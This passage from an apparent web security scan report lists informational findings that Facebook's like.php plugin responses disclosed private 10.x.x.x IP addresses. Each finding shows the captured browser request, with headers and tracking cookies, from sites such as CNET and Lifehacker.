Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cnet.com/internet-security/?tag=mncol;txt
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.52. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.238.31

Request

GET /plugins/like.php?href=http://lawyerist.com/communicate-opposing-counsel/&layout=button_count&show_faces=false&width=85&action=like&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://lawyerist.com/communicate-opposing-counsel/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.53. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.185.35

Request

GET /plugins/like.php?action=like&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfdee2f5d30850c%26origin%3Dhttp%253A%252F%252Fwww.pcworld.com%252Ff14843a8f4c66b2%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.itworld.com%2Fpersonal-tech%2F133627%2Fsimple-cheap-apps-keep-your-secrets-online&layout=button_count&locale=en_US&node_type=link&ref=s%3DshowShareBarUI%3Ap%3Dfacebook-like&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.54. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.196.51

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df19e6449a4%26origin%3Dhttp%253A%252F%252Ftwittercounter.com%252Ffdc43dcf8%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=lucida%20grande&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FTwitter-Counter%2F109369489135166&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=100 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://twittercounter.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.55. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.154.59

Request

GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df56feabf22eda4%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet%23reg&layout=button_count&locale=en_US&node_type=link&ref=fblike&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.56. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.234.77

Request

GET /plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2FBose%23%21%2FBose&layout=button_count&show_faces=true&width=450&action=like&font=verdana&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bose.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.57. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.176.53

Request

GET /plugins/like.php?href=www.facebook.com%2Fpages/Lifehacker-Australia/102231899828935&layout=button_count&show_faces=true&width=90&action=like&font=tahoma&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.lifehacker.com.au/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.58. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.28.37.104

Request

Response

15.59. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.249.25

Request

GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfb67456391f46a%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&locale=en_US&node_type=link&ref=fbliketool&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://download.cnet.com/windows/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.60. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.19.55

Request

GET /plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&show_faces=false&width=120&action=like&font&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.61. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.198.65

Request

GET /plugins/like.php?href=http://twittercounter.com/jobsearchninja&layout=button_count&show_faces=false&width=80&action=like&font=lucida%2Bgrande&colorscheme=light&height=21&button_align=right HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://twittercounter.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.62. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.196.60

Request

GET /plugins/like.php?api_key=236575159691634&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df31d6586435e3ee%26origin%3Dhttp%253A%252F%252Flifehacker.com%252Ff3630e9a3ea6c26%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=lucida%20grande&href=http%253A%252F%252Flifehacker.com%252F5759186%252Ffive-best-vpn-service-providers&layout=button_count&locale=en_US&node_type=link&sdk=joey&send=false&show_faces=false&width=126 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://lifehacker.com/5759186/five-best-vpn-service-providers
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.63. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.140.47

Request

GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfc9a7c0490b8c%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&locale=en_US&node_type=link&ref=fbliketool&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.64. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.196.31

Request

GET /plugins/like.php?action=like&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1907a8ca30cb82%26origin%3Dhttp%253A%252F%252Fwww.pcworld.com%252Ff14843a8f4c66b2%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fpcworld&layout=button_count&locale=en_US&node_type=link&sdk=joey&send=false&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.65. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.25.43

Request

GET /plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&show_faces=false&width=120&action=like&font&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://download.cnet.com/windows/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.66. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.27.208.105

Request

GET /plugins/like.php?href=http%3A%2F%2Fwww.coastaldentalcare.com%2F&layout=button_count&show_faces=false&width=100&action=like&font=arial&layout=button_count HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.coastaldentalcare.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.67. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.250.21

Request

GET /plugins/like.php?action=recommend&api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df169230c37eb2a%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=arial&href=http%3A%2F%2Fnews.cnet.com%2F8301-27080_3-20107541-245%2Fhundreds-of-go-daddy-hosted-sites-compromised%2F&layout=button_count&locale=en_US&node_type=link&ref=fbrecT&sdk=joey&show_faces=false&width=130 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.68. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.65.130

Request

GET /plugins/like.php?action=recommend&api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3b95f666c7ca9a%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=arial&href=http%3A%2F%2Freviews.cnet.com%2F8301-13727_7-20108261-263%2Fos-x-lion-passwords-can-be-changed-by-any-local-user%2F&layout=button_count&locale=en_US&node_type=link&ref=fbrecT&sdk=joey&show_faces=false&width=130 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.69. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.141.57

Request

GET /plugins/like.php?action=recommend&api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df222db212e204de%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=arial&href=http%3A%2F%2Fdownload.cnet.com%2F8301-2007_4-20107620-12%2Fprotect-your-privacy-with-a-new-crop-of-security-suites%2F&layout=button_count&locale=en_US&node_type=link&ref=fbrecT&sdk=joey&show_faces=false&width=130 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.70. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.154.63

Request

GET /plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&show_faces=false&width=120&action=like&font&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cnet.com/?tag=hdr
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.71. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.27.25.105

Request

GET /plugins/like.php?href=http%3A%2F%2Fcoast-dental-care.nationaldentalreviews.org&layout=button_count&show_faces=false&width=90&action=like&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://coast-dental-care.nationaldentalreviews.org/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.72. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.1.87

Request

GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df320b6e566c384a%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet%23reg&layout=button_count&locale=en_US&node_type=link&ref=fblike&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.73. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.250.42

Request

GET /plugins/like.php?href=http://lawyerist.com/when-and-how-to-send-an-e-mail/&layout=box_count&show_faces=false&width=60&action=like&colorscheme=light&height=45 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://lawyerist.com/when-and-how-to-send-an-e-mail/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.74. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.173.59

Request

GET /plugins/like.php?action=like&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1da6f92f97f71%26origin%3Dhttp%253A%252F%252Fwww.pcworld.com%252Ff14843a8f4c66b2%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.itworld.com%2Fpersonal-tech%2F133627%2Fsimple-cheap-apps-keep-your-secrets-online&layout=button_count&locale=en_US&node_type=link&ref=s%3DshowShareBarUI%3Ap%3Dfacebook-like&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.75. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.33.11.101

Request

GET /plugins/like.php?href=http://www.simplyhired.com/&locale=en_US&layout=standard&show_faces=1&width=450&height=80&action=like&colorscheme=light HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.simplyhired.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.76. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.209.32

Request

